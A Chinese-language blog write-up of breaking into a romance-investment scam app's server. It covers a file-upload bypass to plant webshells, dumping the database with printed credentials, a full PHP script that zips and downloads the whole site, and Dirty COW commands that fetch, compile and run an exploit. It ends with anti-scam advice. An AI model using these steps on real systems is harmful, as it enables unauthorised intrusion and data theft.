記一次殺豬盤的滲透之旅
所謂“殺豬盤”,是指詐騙分子利用網絡交友通常是“異性”交友,誘導受害人下載詐騙APP并在上面進行各種“投資”,如菠菜、股票、期貨甚至虛擬貨幣的網絡詐騙。今年某月某日小白就遭遇了這種騙局,他先是被騙子通過QQ添加并下載了一個名為”心動“的APP,在“心動“APP上結識了位名為“xx老師”的美女小白被美色迷了眼打算相約這名網友,但是美女則借口讓他下載另一個名為午夜樂園的APP進行投資,果不其然小白被成功騙取10余萬。
0x01 APP測試準備
根據小白的描述,我們關注到以下幾點信息,分別是 QQ、“心動”APP以及“午夜樂園”APP,但是小白因不堪被騙將騙子QQ刪除了。所以我們無法從QQ號這點進行入手,但是這兩個APP的APK包倒是存在,于是開始滲透分析。
安裝APP
使用夜神模擬器安裝這兩個APP,為了方便起見就使用安卓5.0版本,否則無法抓取到 https 數據包
小知識:從 Android 7.0 開始,默認的網絡安全性配置修改,默認不再信任用戶添加的 CA 證書,也就不再信任抓包工具的證書

因為“午夜樂園”APP需要邀請碼才能注冊,所以我們先安裝“心動”APP

設置抓包
在 BurpSuite 中設置監聽地址以及監聽端口,其中地址為內網的IP地址

設置網絡中的 HTTP 代理為 BurpSuite 中的代理地址和端口

訪問百度,在 Burp Suite 中成功抓取到數據包

現在針對 http 協議的數據包都可以抓取到了
安裝證書
接下來為了抓取到 https 的數據包,我們需要為其安裝 CA 證書

訪問https://burp點擊CA開始下載證書,下載完成后在設置中找到安全

選擇從SD卡安裝

選擇之前下載的證書并為證書命名

在用戶憑據中已存在證書

訪問https://www.baidu.com

在 Burp Suite 中成功抓取到 https 數據包

0x02 上線shell
初探上傳漏洞
在APP中注冊一個測試賬號

發現在發布動態處存在文件上傳

使用 Burp Suite 截取數據包,測試后發現目標站點只返回0或1

上傳后在朋友圈界面發現該功能正常,那么對應的圖片路徑在哪呢?

通過抓包發現該圖片的具體地址

修改數據包將其文件名后綴修改為php時則無法上傳,可能存在防護機制

文件上傳漏洞獲取webshell
嘗試了幾種繞過方式無果后,在朋友圈背景圖片發現文件上傳點,將冰蝎上傳

幸運的是目標直接返回了木馬地址,使用冰蝎連接目標

至此 webshell 成功上線,但可惜的是這是 docker 環境。同時為了維持對目標站點的控制,繼續上傳了一個哥斯拉馬。

0x03 信息收集
查看當前環境
查看當前用戶為普通的 www 用戶,能夠執行一些簡單的命令

查看文件管理,發現網站下存在 thinkphp 框架,開始尋找配置文件

數據庫登錄
在配置文件中發現數據庫連接文件
return [
// 數據庫類型
'type' => Env::get('database.type', 'mysql'),
// 服務器地址
'hostname' => Env::get('database.hostname', '192.168.0.59'),
// 數據庫名
'database' => Env::get('database.database', 'netchat'),
// 用戶名
'username' => Env::get('database.username', 'root'),
// 密碼
'password' => Env::get('database.password', 'MysqlNetchatPWD#'),
// 端口
'hostport' => Env::get('database.hostport', '3305'),
];
由于無法通過冰蝎無法連接數據庫,我們上傳 adminer 連接數據庫,將服務器地址設置為192.168.0.59:3305,輸入賬號和密碼。

在 adminer 中選擇數據庫導出,將當前數據庫直接打包下載

后臺地址與賬號密碼
在數據庫中還有些意外收獲,里面包含了一些管理員的賬號密碼

經過解密后發現 admin666 密碼為123456

查看 admin_log 表后發現登錄地址為https://xx.xx.xx.xx/adim888/index/login

訪問后為如下界面,我們只需要輸入賬號密碼與谷歌驗證碼即可登錄,為了不打草精神未直接登錄后臺。

打包網站
接下來為了方便分析,使用如下腳本打包整個網站進行下載
error_reporting(0);
class PHPZip{
var $dirInfo = array("0","0");
var $datasec = array();
var $ctrl_dir = array();
var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
var $old_offset = 0;
function createZip($dir, $zipfilename){
if (@function_exists('gzcompress')){
@set_time_limit("0");
if (is_array($dir)){
$fd = fopen ($dir, "r");
$fileValue = fread ($fd, filesize ($filename));
fclose ($fd);
if (is_array($dir)) $filename = basename($dir);
$this -> addFile($fileValue, "$filename");
}else{
$this->dirTree($dir,$dir);
}
$out = $this -> filezip();
$fp = fopen($zipfilename, "w");
fwrite($fp, $out, strlen($out));
fclose($fp);
$filesize = filesize($zipfilename);
if ($filesize < 104857600) {
echo "create zip success!";
} else {
echo "create zip error!";
} }
}
//get dir tree..
function dirTree($directory,$rootDir){
$fileDir = $rootDir;
$myDir = dir($directory);
while($file=$myDir->read()){
if(is_dir("$directory/$file") and $file!="." and $file!=".."){
$this->dirInfo[0]++;
$rootDir ="$fileDir$file/";
$this -> addFile('', "$rootDir");
//go on n's folders
$this->dirTree("$directory/$file",$rootDir);
}else{
if($file!="." and $file!=".."){
$this->dirInfo[1]++;
$fileValue = file_get_contents("$directory/$file");
$this -> addFile($fileValue, "$fileDir$file");
}
}
}
$myDir->close();
}
function unix2DosTime($unixtime = 0) {
$timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
if ($timearray['year'] < 1980) {
$timearray['year'] = 1980;
$timearray['mon'] = 1;
$timearray['mday'] = 1;
$timearray['hours'] = 0;
$timearray['minutes'] = 0;
$timearray['seconds'] = 0;
} // end if
return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
}
function addFile($data, $name, $time = 0){
$name = str_replace('\\', '/', $name);
$dtime = dechex($this->unix2DosTime($time));
$hexdtime = '\x' . $dtime[6] . $dtime[7]
. '\x' . $dtime[4] . $dtime[5]
. '\x' . $dtime[2] . $dtime[3]
. '\x' . $dtime[0] . $dtime[1];
eval('$hexdtime = "' . $hexdtime . '";');
$fr = "\x50\x4b\x03\x04";
$fr .= "\x14\x00"; // ver needed to extract
$fr .= "\x00\x00"; // gen purpose bit flag
$fr .= "\x08\x00"; // compression method
$fr .= $hexdtime; // last mod time and date
// "local file header" segment
$unc_len = strlen($data);
$crc = crc32($data);
$zdata = gzcompress($data);
$c_len = strlen($zdata);
$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); // fix crc bug
$fr .= pack('V', $crc); // crc32
$fr .= pack('V', $c_len); // compressed filesize
$fr .= pack('V', $unc_len); // uncompressed filesize
$fr .= pack('v', strlen($name)); // length of filename
$fr .= pack('v', 0); // extra field length
$fr .= $name;
// "file data" segment
$fr .= $zdata;
// "data descriptor" segment (optional but necessary if archive is not
// served as file)
$fr .= pack('V', $crc); // crc32
$fr .= pack('V', $c_len); // compressed filesize
$fr .= pack('V', $unc_len); // uncompressed filesize
// add this entry to array
$this -> datasec[] = $fr;
$new_offset = strlen(implode('', $this->datasec));
// now add to central directory record
$cdrec = "\x50\x4b\x01\x02";
$cdrec .= "\x00\x00"; // version made by
$cdrec .= "\x14\x00"; // version needed to extract
$cdrec .= "\x00\x00"; // gen purpose bit flag
$cdrec .= "\x08\x00"; // compression method
$cdrec .= $hexdtime; // last mod time & date
$cdrec .= pack('V', $crc); // crc32
$cdrec .= pack('V', $c_len); // compressed filesize
$cdrec .= pack('V', $unc_len); // uncompressed filesize
$cdrec .= pack('v', strlen($name) ); // length of filename
$cdrec .= pack('v', 0 ); // extra field length
$cdrec .= pack('v', 0 ); // file comment length
$cdrec .= pack('v', 0 ); // disk number start
$cdrec .= pack('v', 0 ); // internal file attributes
$cdrec .= pack('V', 32 ); // external file attributes - 'archive' bit set
$cdrec .= pack('V', $this -> old_offset ); // relative offset of local header
$this -> old_offset = $new_offset;
$cdrec .= $name;
// optional extra field, file comment goes here
// save to central directory
$this -> ctrl_dir[] = $cdrec;
}
function filezip(){
$data = implode('', $this -> datasec);
$ctrldir = implode('', $this -> ctrl_dir);
return
$data .
$ctrldir .
$this -> eof_ctrl_dir .
pack('v', sizeof($this -> ctrl_dir)) . // total # of entries "on this disk"
pack('v', sizeof($this -> ctrl_dir)) . // total # of entries overall
pack('V', strlen($ctrldir)) . // size of central dir
pack('V', strlen($data)) . // offset to start of central dir
"\x00\x00"; // .zip file comment length
}
}
$zip = new PHPZip();
$path = $_GET['path'];
$filename = $_GET['filename'];
if (isset($path)&&isset($filename)) {
$zip -> createZip($path, $filename);
} else {
echo "please input correct path and filename, like http://example.com?path=/home&filename=home.zip";
}
?>
IP地址查詢
通過簡單的sql語句對 admin 登錄日志進行查詢
select distinct ip from yl_admin_log limit 50

發現該站點的登錄IP都是國外的IP,猜測網站管理員都是通過代理或本身就在國外訪問的后臺

而查詢 yl_core_ip 表中發現了一個IP

查詢微步后,該IP已經被打上了惡意地址標簽

0x04 權限提升
由于當前權限比較低,我們也需要拿到 docker 環境下的 root 權限,但是沒有提權成功,自然也無法利用 docker 逃逸來跳到其真實環境下。這里演示下我使用臟牛提權的失敗記錄吧。
系統信息收集
uname -a cat /etc/issue

當前系統為 Debian GNU/Linux 10
漏洞查詢
上傳linuxenum和linux-exploit-suggestor,賦予執行權限并執行
chmod 777 linuxenum.sh chmod 777 linux-exploit-suggestor.sh


臟牛提權
通過 linux-exploit-suggestor 返回的結果,其中存在臟牛漏洞
wget https://www.exploit-db.com/download/40616 ##這里我直接上傳了 mv 40616 cowroot.c ## 正式從這開始 gcc cowroot.c -o cowroot -pthread chmod +x cowroot ./cowroot
失敗過程就不截圖了
0x05 受騙分析及警示
登錄客服查看聊天記錄
在數據庫中還有相關客服用戶的賬號密碼,直接解碼后面的 base64 編碼就可以獲取到明文

登錄幾個客服用戶進行查看

殺豬盤流程
這里我們也根據小白的注冊時間找到了它的賬號,為q123456x

通過注冊IP確認該用戶為受害人賬號。但是嘗試登錄后發現該用戶已經被鎖定,在數據庫中發現該用戶的islogin為0,修改為1后還是無法登錄,通過查看管理員的操作記錄,發現其一直在封鎖賬號。

再根據幾個客服的聊天記錄,我們總結了”殺豬盤“流程
1、招攬有“交友”目的的年輕人 2、通過客服為其提供“服務” 3、安排”漂亮姐姐“騙取年輕人投資 4、年輕人欲望上頭開始投資 5、最終被騙人財兩空
警示
1、警惕在私聊中呈現的完美對象,完美人設往往就是誘餌
2、切勿和陌生人談錢、一起投資,記住,網上“對象”也是陌生人
3、切勿下載安裝網上各類投資菠菜APP鏈接,不要在未驗證網站投資
4、不向未驗證的陌生賬戶轉賬匯款
5、不要參與網上菠菜,涉嫌違法。
6、不要被欲望沖昏了頭